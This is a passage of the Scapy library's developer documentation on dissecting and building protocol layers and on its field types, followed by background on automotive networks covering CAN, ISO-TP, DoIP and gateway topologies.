Then, the  next field is extracted  the same way, until 2097090 bytes
are put in FOO.data (or less  if 2097090 bytes are  not available, as
here).

If  there are  some bytes  left after  the dissection  of  the current
layer, it is mapped  in the same way to the what  the next is expected
to be (Raw by default):

>>> FOO("\x05"+"B"*8)
<FOO  len=5 data='BBBBB' |<Raw  load='BBB' |>>





Hence, we need now to understand how layers are bound together.



Binding layers

One of the cool features with Scapy when dissecting layers is that it
tries to guess for us what the next layer is. The official way to link 2
layers is using bind_layers() function.

Available inside the packet module, this function can be used as following:

bind_layers(ProtoA, ProtoB, FieldToBind=Value)





Each time a packet ProtoA()/ProtoB() will be created, the FieldToBind of
ProtoA will be equal to Value.

For instance,  if you have a class HTTP, you may expect  that all the
packets coming from or going to  port 80 will be decoded as such. This
is simply done that way:

bind_layers( TCP, HTTP, sport=80 )
bind_layers( TCP, HTTP, dport=80 )





That’s  all folks!  Now every  packet  related to  port  80 will  be
associated to the  layer HTTP, whether it is read from  a pcap file or
received from the network.


The guess_payload_class() way

Sometimes,  guessing the payload  class is  not as  straightforward as
defining a single  port. For instance, it can depend on  a value of a
given byte in the current layer. The 2 needed methods are:


	guess_payload_class() which must return  the guessed class for the
payload (next layer). By default, it uses links between classes
that have been put in place by bind_layers().


	default_payload_class()  which returns  the  default value.   This
method  defined in the  class Packet  returns Raw,  but it  can be
overloaded.




For  instance, decoding  802.11  changes depending  on  whether it  is
ciphered or not:

class Dot11(Packet):
    def guess_payload_class(self, payload):
        if self.FCfield & 0x40:
            return Dot11WEP
        else:
            return Packet.guess_payload_class(self, payload)





Several comments are needed here:


	this  cannot be  done  using  bind_layers()  because the  tests  are
supposed to be “field==value”, but it is more complicated here as we
test a single bit in the value of a field.


	if the  test fails, no assumption is  made, and we plug  back to the
default guessing mechanisms calling Packet.guess_payload_class()




Most of  the time,  defining a method  guess_payload_class() is  not a
necessity as the same result can be obtained from bind_layers().



Changing the default behavior

If you do not like Scapy’s  behavior for a given layer, you can either
change or disable it through  a call to split_layers(). For instance,
if you do not want UDP/53 to be bound with DNS, just add in your code:

split_layers(UDP, DNS, sport=53)





Now every packet  with source port 53 will not be  handled as DNS, but
whatever you specify instead.




Under the hood: putting everything together

In  fact, each  layer  has a  field  payload_guess. When  you use  the
bind_layers() way, it adds the defined next layers to that list.

>>> p=TCP()
>>> p.payload_guess
[({'dport': 2000}, <class 'scapy.Skinny'>), ({'sport': 2000}, <class 'scapy.Skinny'>), ... )]





Then,  when it  needs to  guess  the next  layer class,  it calls  the
default method Packet.guess_payload_class().  This method runs through
each  element  of  the   list  payload_guess,  each  element  being  a
tuple:


	the 1st value is a field to test ('dport': 2000)


	the 2nd value is the guessed class if it matches (Skinny)




So, the  default guess_payload_class() tries all element  in the list,
until  one   matches.  If  no   element  are  found,  it   then  calls
default_payload_class(). If you have redefined this method, then yours
is  called, otherwise,  the default  one is  called, and  Raw  type is
returned.

Packet.guess_payload_class()


	test what is in field guess_payload


	call overloaded guess_payload_class()







Building

Building a packet is as simple as building each layer. Then, some
magic happens to glue everything. Let’s do magic then.


The basic stuff

The first thing to establish is: what does “build” mean? As we have seen, a
layer  can   be  represented  in  different   ways  (human,  internal,
machine). Building means going to the machine format.

The second thing to understand is ‘’when’’ a layer is  built. The answer is not
that obvious, but as soon  as you need the machine representation, the
layers are built: when the packet is dropped on the network or written
to a file, or when it is converted as a string, …  In  fact, machine
representation  should be  regarded as  a big  string with  the layers
appended altogether.

>>> p = IP()/TCP()
>>> hexdump(p)
0000 45 00 00 28 00 01 00 00 40 06 7C CD 7F 00 00 01 E..(....@.|.....
0010 7F 00 00 01 00 14 00 50 00 00 00 00 00 00 00 00 .......P........
0020 50 02 20 00 91 7C 00 00 P. ..|..






	Calling raw() builds the packet:
	
	non instanced fields are set to their default value


	lengths are updated automatically


	checksums are computed


	and so on.








In fact, using raw() rather than show2() or any other method
is not a random choice as all the functions building the packet calls
Packet.__str__() (or Packet.__bytes__() under Python
3). However, __str__() calls another method: build():

def __str__(self):
    return next(iter(self)).build()





What is important also to understand  is that usually, you do not care
about the machine  representation, that is why the  human and internal
representations are here.

So, the  core method is build()  (the code has been  shortened to keep
only the relevant parts):

def build(self,internal=0):
    pkt = self.do_build()
    pay = self.build_payload()
    p = self.post_build(pkt,pay)
    if not internal:
        pkt = self
        while pkt.haslayer(Padding):
            pkt = pkt.getlayer(Padding)
            p += pkt.load
            pkt = pkt.payload
    return p





So, it  starts by  building the current  layer, then the  payload, and
post_build()  is called  to update  some late  evaluated  fields (like
checksums). Last, the padding is added to the end of the packet.

Of  course, building  a layer  is  the same  as building  each of  its
fields, and that is exactly what do_build() does.



Building fields

The building of each field of a layer is called in Packet.do_build():

def do_build(self):
    p=""
    for f in self.fields_desc:
        p = f.addfield(self, p, self.getfieldval(f))
    return p





The  core function  to  build a  field  is addfield().   It takes  the
internal view of the  field and put it at the end  of p. Usually, this
method calls  i2m() and returns something  like p.self.i2m(val) (where
val=self.getfieldval(f)).

If val is set, then i2m() is just a matter of formatting the value the
way it must  be. For instance, if a  byte is expected, struct.pack("B", val)
is the right way to convert it.

However, things  are more complicated if  val is not set,  it means no
default  value was  provided  earlier,  and thus  the  field needs  to
compute some “stuff” right now or later.

“Right now”  means thanks to i2m(), if all pieces of information are
available.  For instance,  if  you have  to  handle a  length until  a
certain delimiter.

Ex: counting the length until a delimiter

class XNumberField(FieldLenField):

    def __init__(self, name, default, sep="\r\n"):
        FieldLenField.__init__(self, name, default, fld)
        self.sep = sep

    def i2m(self, pkt, x):
        x = FieldLenField.i2m(self, pkt, x)
        return "%02x" % x

    def m2i(self, pkt, x):
        return int(x, 16)

    def addfield(self, pkt, s, val):
        return s+self.i2m(pkt, val)

    def getfield(self, pkt, s):
        sep = s.find(self.sep)
        return s[sep:], self.m2i(pkt, s[:sep])





In this example,  in i2m(), if x has already a  value, it is converted
to its hexadecimal value. If no value is given, a length of “0” is
returned.

The glue is provided by Packet.do_build() which calls Field.addfield()
for  each field in  the layer,  which in  turn calls  Field.i2m(): the
layer is built IF a value was available.



Handling default values: post_build

A default  value for a  given field is  sometimes either not  known or
impossible to compute when the  fields are put together. For instance,
if we used a XNumberField as  defined previously in a layer, we expect
it  to be set  to a  given value  when the  packet is  built. However,
nothing is returned by i2m() if it is not set.

The answer to this problem is Packet.post_build().

When  this method is  called, the  packet is  already built,  but some
fields still need  to be computed. This is  typically what is required
to compute checksums or lengths. In fact, this is required each time a
field’s value depends on something which is not in the current

So, let  us assume we  have a packet  with a XNumberField, and  have a
look to its building process:

class Foo(Packet):
      fields_desc = [
          ByteField("type", 0),
          XNumberField("len", None, "\r\n"),
          StrFixedLenField("sep", "\r\n", 2)
          ]

      def post_build(self, p, pay):
        if self.len is None and pay:
            l = len(pay)
            p = p[:1] + hex(l)[2:]+ p[2:]
        return p+pay





When post_build() is called, p  is the current layer, pay the payload,
that is what has already been built. We want our length to be the full
length of the data put after  the separator, so we add its computation
in post_build().

>>> p = Foo()/("X"*32)
>>> p.show2()
###[ Foo ]###
  type= 0
  len= 32
  sep= '\r\n'
###[ Raw ]###
     load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'





len is correctly computed now:

>>> hexdump(raw(p))
0000   00 32 30 0D 0A 58 58 58  58 58 58 58 58 58 58 58   .20..XXXXXXXXXXX
0010   58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58   XXXXXXXXXXXXXXXX
0020   58 58 58 58 58                                     XXXXX





And the machine representation is the expected one.



Handling default values: automatic computation

As we have previously seen, the dissection mechanism is built upon the
links between  the layers created  by the programmer. However,  it can
also be used during the building process.

In the  layer Foo(), our  first byte is  the type, which  defines what
comes next, e.g. if type=0, next layer is Bar0, if it is 1, next layer
is  Bar1,  and  so on.  We  would  like  then  this  field to  be  set
automatically according to what comes next.

class Bar1(Packet):
    fields_desc = [
          IntField("val", 0),
          ]

class Bar2(Packet):
    fields_desc = [
          IPField("addr", "127.0.0.1")
          ]





If we use  these classes with nothing else, we  will have trouble when
dissecting the  packets as nothing  binds Foo layer with  the multiple
Bar* even when we explicitly build the packet through the call to
show2():

>>> p = Foo()/Bar1(val=1337)
>>> p
<Foo  |<Bar1  val=1337 |>>
>>> p.show2()
###[ Foo ]###
  type= 0
  len= 4
  sep= '\r\n'
###[ Raw ]###
    load= '\x00\x00\x059'





Problems:


	type is still  equal to 0 while we wanted  it to be automatically
set to 1. We could of course have built p with p = Foo(type=1)/Bar0(val=1337)
but this is not very convenient.


	the packet is badly dissected as Bar1 is regarded as Raw. This
is because no links have been set between Foo() and Bar*().




In order to  understand what we should have done  to obtain the proper
behavior,  we must look  at how  the layers  are assembled.   When two
independent packets instances Foo() and Bar1(val=1337) are
compounded with the ‘/’ operator, it results in a new packet where the
two previous instances are cloned  (i.e.  are now two distinct objects
structurally different, but holding the same values):

def __div__(self, other):
    if isinstance(other, Packet):
        cloneA = self.copy()
        cloneB = other.copy()
        cloneA.add_payload(cloneB)
        return cloneA
    elif type(other) is str:
        return self/Raw(load=other)





The right-hand side of the operator becomes the payload of the left-hand
side. This is performed through the call to add_payload(). Finally, the new packet is returned.

Note: we can observe that if  other isn’t a Packet but a string,
the Raw  class is instantiated to  form the payload.  Like in this
example:

>>> IP()/"AAAA"
<IP  |<Raw  load='AAAA' |>>





Well, what  add_payload() should implement? Just  a link between
two packets? Not only, in our case, this method will appropriately set
the correct value to type.

Instinctively  we feel that  the upper  layer (the  right of  ‘/’) can
gather the  values to set the fields  to the lower layer  (the left of
‘/’).  Like  previously explained, there is a  convenient mechanism to
specify the bindings in  both directions between two neighboring
layers.

Once again, these information must be provided to bind_layers(),
which  will   internally  call  bind_top_down()   in  charge  to
aggregate the fields to overload. In our case what we need to specify
is:

bind_layers( Foo, Bar1, {'type':1} )
bind_layers( Foo, Bar2, {'type':2} )





Then, add_payload()  iterates over the  overload_fields of
the upper packet (the payload), get the fields associated to the lower
packet (by its type) and insert them in overloaded_fields.

For  now,   when  the   value  of  this   field  will   be  requested,
getfieldval()    will    return    the   value    inserted    in
overloaded_fields.

The fields are dispatched between three dictionaries:


	fields: fields whose the value have been explicitly set, like
pdst in TCP (pdst='42')


	overloaded_fields: overloaded fields


	
	default_fields: all the fields with their default value (these fields
	are initialized according to fields_desc by the constructor
by calling init_fields() ).









In the following code, we can observe how a field is selected and its
value returned:

def getfieldval(self, attr):
   for f in self.fields, self.overloaded_fields, self.default_fields:
       if f.has_key(attr):
           return f[attr]
   return self.payload.getfieldval(attr)





Fields  inserted  in  fields  have  the  higher  priority,  then
overloaded_fields, then finally default_fields.  Hence, if
the field type is set in overloaded_fields, its value will
be returned instead of the value contained in default_fields.

We are now able to understand all the magic behind it!

>>> p = Foo()/Bar1(val=0x1337)
>>> p
<Foo  type=1 |<Bar1  val=4919 |>>
>>> p.show()
###[ Foo ]###
  type= 1
  len= 4
  sep= '\r\n'
###[ Bar1 ]###
    val= 4919





Our 2 problems have been solved without us doing much: so good to be
lazy :)



Under the hood: putting everything together

Last but not least, it is very useful to understand when each function
is called when a packet is built:

>>> hexdump(raw(p))
Packet.str=Foo
Packet.iter=Foo
Packet.iter=Bar1
Packet.build=Foo
Packet.build=Bar1
Packet.post_build=Bar1
Packet.post_build=Foo





As you can see, it first runs through the list of each field, and then
build  them starting  from the  beginning. Once  all layers  have been
built, it then calls post_build() starting from the end.




Fields

Here’s a list of fields that Scapy supports out of the box:


Simple datatypes

Legend:


	X - hexadecimal representation


	LE - little endian (default is big endian = network byte order)


	Signed - signed (default is unsigned)




ByteField
XByteField

ShortField
SignedShortField
LEShortField
XShortField

X3BytesField        # three bytes as hex
XLE3BytesField      # little endian three bytes as hex
ThreeBytesField     # three bytes as decimal
LEThreeBytesField   # little endian three bytes as decimal
LE3BytesEnumField
XLE3BytesEnumField

IntField
SignedIntField
LEIntField
LESignedIntField
XIntField

LongField
SignedLongField
LELongField
LESignedLongField
XLongField
LELongField

IEEEFloatField
IEEEDoubleField
BCDFloatField       # binary coded decimal

BitField
XBitField

BitFieldLenField    # BitField specifying a length (used in RTP)
FlagsField
FloatField







Enumerations

Possible field values are taken from a given enumeration (list, dictionary, …)
e.g.:

ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"})





EnumField(name, default, enum, fmt = "H")
CharEnumField
BitEnumField
ShortEnumField
LEShortEnumField
ByteEnumField
IntEnumField
SignedIntEnumField
LEIntEnumField
XShortEnumField







Strings

StrField(name, default, fmt="H", remain=0, shift=0)
StrLenField(name, default, fld=None, length_from=None, shift=0):
StrFixedLenField
StrNullField
StrStopField







Lists and lengths

FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None)
  # A list assembled and dissected with many times the same field type

  # field: instance of the field that will be used to assemble and disassemble a list item
  # length_from: name of the FieldLenField holding the list length

FieldLenField     #  holds the list length of a FieldList field
LEFieldLenField

LenField          # contains len(pkt.payload)

PacketField       # holds packets
PacketLenField    # used e.g. in ISAKMP_payload_Proposal
PacketListField






Variable length fields

This is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let’s call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don’t have to fill lenfield, that will deduce its value directly from varfield value.

Problems arise when you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must subtract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words.


The length field

First, a lenfield is declared using FieldLenField (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the length_of parameter or the count_of parameter. The count_of parameter has a meaning only when varfield is a field that holds a list (PacketListField or FieldListField). The value will be the name of the varfield, as a string. According to which parameter is used the i2len() or i2count() method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. adjust will be applied to 2 arguments: the packet instance and the value returned by i2len() or i2count(). By default, adjust does nothing:

adjust=lambda pkt,x: x





For instance, if the_varfield is a list

FieldLenField("the_lenfield", None, count_of="the_varfield")





or if the length is in 16bits words:

FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2)







The variable length field

A varfield can be: StrLenField, PacketLenField, PacketListField, FieldListField, …

For the two firsts, when a packet is being dissected, their lengths are deduced from a lenfield already dissected. The link is done using the length_from parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance:

StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield)





or

StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12)





For the PacketListField and FieldListField and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance:

FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield)








Examples

class TestSLF(Packet):
    fields_desc=[ FieldLenField("len", None, length_of="data"),
                  StrLenField("data", "", length_from=lambda pkt:pkt.len) ]

class TestPLF(Packet):
    fields_desc=[ FieldLenField("len", None, count_of="plist"),
                  PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ]

class TestFLF(Packet):
    fields_desc=[
       FieldLenField("the_lenfield", None, count_of="the_varfield"),
       FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"),
                       count_from = lambda pkt: pkt.the_lenfield) ]

class TestPkt(Packet):
    fields_desc = [ ByteField("f1",65),
                    ShortField("f2",0x4244) ]
    def extract_padding(self, p):
        return "", p

class TestPLF2(Packet):
    fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2),
                    FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2),
                    PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ]





Test the FieldListField class:

>>> TestFLF("\x00\x02ABCDEFGHIJKL")
<TestFLF  the_lenfield=2 the_varfield=['65.66.67.68', '69.70.71.72'] |<Raw  load='IJKL' |>>








Special

Emph     # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")),

ActionField

ConditionalField(fld, cond)
        # Wrapper to make field 'fld' only appear if
        # function 'cond' evals to True, e.g.
        # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1)
        # When hidden, it won't be built nor dissected and the stored value will be 'None'


PadField(fld, align, padwith=None)
       # Add bytes after the proxified field so that it ends at
       # the specified alignment from its beginning

BitExtendedField(extension_bit)
       # Field with a variable number of bytes. Each byte is made of:
       # - 7 bits of data
       # - 1 extension bit:
       #    * 0 means that it is the last byte of the field ("stopping bit")
       #    * 1 means that there is another byte after this one ("forwarding bit")
       # extension_bit is the bit number [0-7] of the extension bit in the byte

MSBExtendedField, LSBExtendedField      # Special cases of BitExtendedField







TCP/IP

IPField
SourceIPField

IPoptionsField
TCPOptionsField

MACField
DestMACField(MACField)
SourceMACField(MACField)

ICMPTimeStampField







802.11

Dot11AddrMACField
Dot11Addr2MACField
Dot11Addr3MACField
Dot11Addr4MACField
Dot11SCField







DNS

DNSStrField
DNSRRCountField
DNSRRField
DNSQRField







ASN.1

ASN1F_element
ASN1F_field
ASN1F_INTEGER
ASN1F_enum_INTEGER
ASN1F_STRING
ASN1F_OID
ASN1F_SEQUENCE
ASN1F_SEQUENCE_OF
ASN1F_PACKET
ASN1F_CHOICE







Other protocols

NetBIOSNameField         # NetBIOS (StrFixedLenField)

ISAKMPTransformSetField  # ISAKMP (StrLenField)

TimeStampField           # NTP (BitField)








Design patterns

Some patterns are similar to a lot of protocols and thus can be described the same way in Scapy.

The following parts will present several models and conventions that can be followed when implementing a new protocol.


Field naming convention

The goal is to keep the writing of packets fluent and intuitive. The basic instructions are the following :


	Do not use any value from the Packet.__slots__` list as a field name (such as name, time or original), as they are reserved for Scapy internals


	Use inverted camel case and common abbreviations (e.g. len, src, dst, dstPort, srcIp).


	Wherever it is either possible or relevant, prefer using the names from the specifications. This aims to help newcomers to easily forge packets.






Add new protocols to Scapy

New protocols can go either in scapy/layers or to scapy/contrib. Protocols in scapy/layers should be usually found on common networks, while protocols in scapy/contrib should be uncommon or specific.

To be precise, scapy/layers protocols should not be importing scapy/contrib protocols, whereas scapy/contrib protocols may import both scapy/contrib and scapy/layers protocols.

Scapy provides an explore() function, to search through the available layer/contrib modules. Therefore, modules contributed back to Scapy must provide information about them, knowingly:


	A contrib module must have defined, near the top of the module (below the license header is a good place) (without the brackets) Example [https://github.com/secdev/scapy/blob/0f6ac82ed66919a20226a3d8d164b810c8eb293c/scapy/contrib/openflow.py#L11-L12]

# scapy.contrib.description = [...]
# scapy.contrib.status = [...]
# scapy.contrib.name = [...] (optional)







	If the contrib module does not contain any packets, and should not be indexed in explore(), then you should instead set:

# scapy.contrib.status = skip







	A layer module must have a docstring, in which the first line shortly describes the module.









            

          

      

      

    

  

    
      
          
            
  
Calling Scapy functions

This section provides some examples that show how to benefit from Scapy
functions in your own code.


UDP checksum

The following example explains how to use the checksum() function to compute and
UDP checksum manually. The following steps must be performed:


	compute the UDP pseudo header as described in RFC768


	build a UDP packet with Scapy with p[UDP].chksum=0


	call checksum() with the pseudo header and the UDP packet




from scapy.all import *

# Get the UDP checksum computed by Scapy
packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP()/DNS()
packet = IP(raw(packet))  # Build packet (automatically done when sending)
checksum_scapy = packet[UDP].chksum

# Set the UDP checksum to 0 and compute the checksum 'manually'
packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP(chksum=0)/DNS()
packet_raw = raw(packet)
udp_raw = packet_raw[20:]
# in4_chksum is used to automatically build a pseudo-header
chksum = in4_chksum(socket.IPPROTO_UDP, packet[IP], udp_raw)  # For more infos, call "help(in4_chksum)"

assert(checksum_scapy == chksum)
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Automotive-specific Documentation

Section author: Nils Weiss <nils@we155.de>


Overview


Note

All automotive-related features work best on Linux systems. CANSockets and ISOTPSockets are based on Linux kernel modules. The python-can project is used to support CAN and CANSockets on a wider range of operating systems and CAN hardware interfaces.




Protocols

The following table should give a brief overview of all the automotive-related capabilities
of Scapy. Most application layer protocols have many specialized Packet classes.
These special-purpose Packets are not part of this overview. Use the explore()
function to get all information about one specific protocol.



	OSI Layer

	Protocol

	Scapy Implementations





	Application Layer

	UDS (ISO 14229)

	UDS, UDS_*, UDS_TesterPresentSender



	GMLAN

	GMLAN, GMLAN_*, GMLAN_[Utilities]



	SOME/IP

	SOMEIP, SD



	BMW HSFZ

	HSFZ, HSFZSocket, UDS_HSFZSocket



	OBD

	OBD, OBD_S0[0-9A]



	CCP

	CCP, DTO, CRO



	XCP

	XCPOnCAN, XCPOnUDP, XCPOnTCP, CTORequest, CTOResponse,
DTO



	Transportation Layer

	ISO-TP (ISO 15765-2)

	ISOTPSocket, ISOTPNativeSocket, ISOTPSoftSocket

ISOTPSniffer, ISOTPMessageBuilder, ISOTPSession

ISOTPHeader, ISOTPHeaderEA, isotp_scan

ISOTP, ISOTP_SF, ISOTP_FF, ISOTP_CF, ISOTP_FC




	Data Link Layer

	CAN (ISO 11898)

	CAN, CANSocket, rdcandump, CandumpReader









Technical Background

Parts this section were published in a study report [10].


Physical Protocols

More than 20 different communication protocols exist for the vehicle’s internal wired communication. Most vehicles make use of five to ten different protocols for their internal communication. The decision which communication protocol is used from an Original Equipment Manufacturer (OEM) is usually made by the trade-off between the costs for communication technology and the final car price. The four major communication technologies for inter-ECU communication are Controller Area Network (CAN), FlexRay, Local Interconnect Network (LIN), and Automotive Ethernet. For security considerations, these are the most relevant protocols for wired communication in vehicles.


LIN

LIN is a single wire communication protocol for low data rates. Actuators and sensors of a vehicle exchange information with an ECU, acting as a LIN master. Software updates over LIN are possible, but the LIN slaves usually do not need software updates because of their limited functionality.



CAN

CAN is by far the most used communication technology for inter-ECU communication in vehicles. In older or cheaper vehicles, CAN is still the primary protocol for a vehicle’s backbone communication. Safety-critical communication during a vehicle’s operation, diagnostic information, and software updates are transferred between ECUs over CAN. The lack of security features in the protocol itself, combined with the general use, makes CAN the primary protocol for security investigations.



FlexRay

The FlexRay consortium designed FlexRay as a successor of CAN. Modern vehicles have higher demands on communication bandwidth. By design, FlexRay is a fast and reliable communication protocol for inter-ECU communication. FlexRay components are more expensive than CAN components, leading to a more selective use by OEMs.



Automotive Ethernet

Recent upper-class vehicles implement Automotive Ethernet, the new backbone technology for internal vehicle communication. The rapidly grown bandwidth demands already replace FlexRay. The primary reasons for these demands are driver-assistant and autonomous-driving features. Only the physical layer (layer 1) of the Open Systems Interconnection (OSI) model distinguishes Ethernet (IEEE 802.3) from Automotive Ethernet (BroadR-Reach). This design decision leads to multiple advantages. For example, communication stacks of operating systems can be used without modification and routing, filtering, and firewall systems. Automotive Ethernet components are already cheaper than FlexRay components, which will lead to vehicle topologies, where CAN and Automotive Ethernet are the most used communication protocols.




Topologies


Line-Bus


[image: ../_images/Simple-CAN-Bus-.png]

Line-Bus network topology



The first vehicles with CAN bus used a single network with a line-bus topology. Some lower-priced vehicles still use one or two shared CAN bus networks for their internal communication nowadays. The downside of this topology is its vulnerability and the lack of network separation. All ECUs of a vehicle are connected on a shared bus. Since CAN does not support security features from its protocol definition, any participant on this bus can communicate directly with all other participants, which allows an attacker to affect all ECUs, even safety-critical ones, by compromising one single ECU. The overall security level of this network is given from the security level of the weakest participant.



Central Gateway


[image: ../_images/ZGW-CAN-Bus-.png]

Network topology with central GW ECU



The central Gateway (GW) topology can be found in higher-priced older cars and medium-priced to lower-priced recent cars. A centralized GW ECU separates domain-specific sub-networks. This allows an OEM to encapsulate all ECUs with remote attack surfaces in one sub-network. ECUs with safety-critical functionalities are located in an individual CAN network. Next to CAN, FlexRay might also be used as a communication protocol inside a separate network domain. The security of a safety-critical network in this topology depends mainly on the central GW ECU’s security. This architecture increases the overall security level of a vehicle through domain separation. After an attacker successfully exploited an ECU through an arbitrary attack surface, a second exploitable vulnerability or a logical bug is necessary to compromise a different domain, a safety-critical network, inside a vehicle. This second exploit or logical bug is necessary to overcome the network separation of the central GW ECU.



Central Gateway and Domain Controller


[image: ../_images/DC-ZGW-CAN-Bus-.png]

Network topology with Automotive-Ethernet backbone and DC



A new topology with central GW and Domain Controllers (DCs) can be found in the latest higher-priced vehicles. The increasing demand for bandwidth in modern vehicles with autonomous driving and driver assistant features led to this topology. An Automotive Ethernet network is used as a communication backbone for the entire vehicle. Individual domains, connected through a DC with the central GW, form the vehicle’s backbone. The individual DCs can control and regulate the data communication between a domain and the vehicle’s backbone. This topology achieves a very-high security level through a strong network separation with individual DCs, acting as gateway and firewall, to the vehicle’s backbone network. OEMs have the advantage of dynamic information routing next to this security improvement, an enabler for Feature on Demand (FoD) services.




Automotive Communication Protocols

This section provides an overview of relevant communication protocols for security evaluations in automotive networks. In contrast to section “Physical Protocols”, this section focuses on properties for data communication.


CAN

The CAN communication technology was invented in 1983 as a message-based robust vehicle bus communication system. The Robert Bosch GmbH designed multiple communication features into the CAN standard to achieve a robust and computation efficient protocol for controller area networks. Remarkable for the communication behavior of CAN is the internal state machine for transmission errors. This state machine implements a fail silent behavior to protect a safety-critical network from babbling idiot nodes. If a specific limit of reception errors (REC) or transmission errors (TEC) occurred, the CAN driver changes its state from error-active to error-passive and finally to bus-off.


[image: ../_images/can-bus-states.png]

CAN bus states on transmission errors. Receive Error Counter (REC), Transmit Error Counter (TEC)



In recent years, this protocol specification was abused for Denial of Service (DoS) attacks and information gathering attacks on the CAN network of a vehicle. Cho et al. demonstrated a DoS attack against CAN networks by abusing the bus-off state of ECUs [1]. Injections of communication errors in CAN frames of one specific node caused a high transmission error count in the node under attack, forcing the attacked node to enter the bus-off state. In 2019 Kulandaivel et al. combined this attack with statistical analysis to achieve a fast and inexpensive network mapping in vehicular networks [2]. They combined statistical analysis of the CAN network traffic before and after the bus-off attack was applied to a node. All missing CAN frames in the network traffic after an ECU was attacked could now be mapped to the ECU under attack, helping researchers identify the origin ECU of a CAN frame. Ken Tindell published a comprehensive summary of low level attacks on CANs in 2019 [3].


[image: ../_images/CAN-full-frame.jpg]

Complete CAN data frame structure [9]



The above figure shows a CAN frame and its fields as it is transferred over the network. For information exchange, only the fields arbitration, control, and data are relevant. These are the only fields to which a usual application software has access. All other fields are evaluated on a hardware-layer and, in most cases, are not forwarded to an application. The data field has a variable length and can hold up to eight bytes. The length of the data field is specified by the data length code inside the control field. Important variations of this example are CAN-frames with extended arbitration fields and the Controller Area Network Flexible Data-Rate (CAN FD) protocol. On Linux, every received CAN frame is passed to SocketCAN. SocketCAN allows the CAN handling via network sockets of the operating system. SocketCAN was created by Oliver Hartkopp and added to the Linux Kernel version 2.6.25 [4]. Figure 2.7 shows the frame structure, how CAN frames are encoded if a user-land application receives data from a CAN socket.


[image: ../_images/can-frame-socket-can.png]

CAN frame defined by SocketCAN



The comparison of above figures clearly shows the loss of information during the CAN frame processing from a physical layer driver. Almost every CAN driver acts in the same way, whether an application code runs on a microcontroller or a Linux kernel. This also means that a standard application does not have access to the Cyclic Redundancy Check (CRC) field, the acknowledgment bit, or the end-of-frame field.

Through the CAN communication in a vehicle or a separated domain, ECUs exchange sensor-data and control inputs; this data is mainly not secured and can be modified by assailants. Attackers can easily spoof sensor values on a CAN bus to trigger malicious reactions of other ECUs. Miller and Valasek described this spoofing attack during their studies on automotive networks [5]. To prevent attacks on safety-critical data transferred over CAN, Automotive Open System Architecture (AUTOSAR) released a secure onboard communication specification [6].



ISO-TP (ISO 15765-2)

The CAN protocol supports only eight bytes of data. Use-cases like diagnostic operations or ECU programming require much higher payloads than the CAN protocol supports. For these purposes, the automotive industry standardized the Transport Layer (ISO-TP) (ISO 15765-2) protocol [7]. ISO-TP is a transportation layer protocol on top of CAN. Payloads with up to 4095 bytes can be transferred between ISO-TP endpoints fragmented in CAN frames. The ISO-TP protocol handling requires four special frame types.


[image: ../_images/isotp-flow.png]

ISO-TP fragmented communication



The different types of ISO-TP frames are shown in the following figure. The payload of a CAN frame gets replaced by one of the four ISO-TP frames. The individual ISO-TP frames have different purposes. A single frame can transfer between 1 and 7 bytes of ISO-TP message data. The len field of a Single Frame or a First Frame indicates the ISO-TP message length. Every message with more than 7 bytes of payload data must be fragmented into a First Frame, followed by multiple Consecutive Frames. This communication is illustrated in the above figure. After the First Frame is sent from a sender, the receiver has to communicate its reception capabilities through a Flow Control Frame to the sender. Only after this Flow Control Frame is received, the sender is allowed to communicate the Consecutive Frames according to the receiver’s capabilities.


[image: ../_images/isotp-frames.png]

ISO-TP frame types



ISO-TP acts as a transport protocol with the support of directed communication through addressing mechanisms. In vehicles, ISO-TP is mainly used as a transport protocol for diagnostic communication. In rare cases, ISO-TP is also used to exchange larger data between ECUs of a vehicle. Security measures have to be applied to the application layer protocol transported through ISO-TP since ISO-TP has no capabilities to secure its transported data.



DoIP

Diagnostic over IP (DoIP) was first implemented on automotive networks with a centralized gateway topology. A centralized GW functions as a DoIP endpoint that routes diagnostic messages to the desired network, allowing manufacturers to program or diagnose multiple ECUs in parallel. Since the Internet Protocol (IP) communication between a repair-shop tester and the GW is many times faster than the communication between the GW ECU and a target ECU connected over CAN, the remaining bandwidth of the IP communication can be used to start further DoIP connections to other ECUs in different CAN domains. DoIP is specified as part of AUTOSAR and in ISO 13400-2. Similar to ISO-TP, DoIP does not specify special security measures. The responsibility regarding secured communication is delegated to the application layer protocol.



Diagnostic Protocols

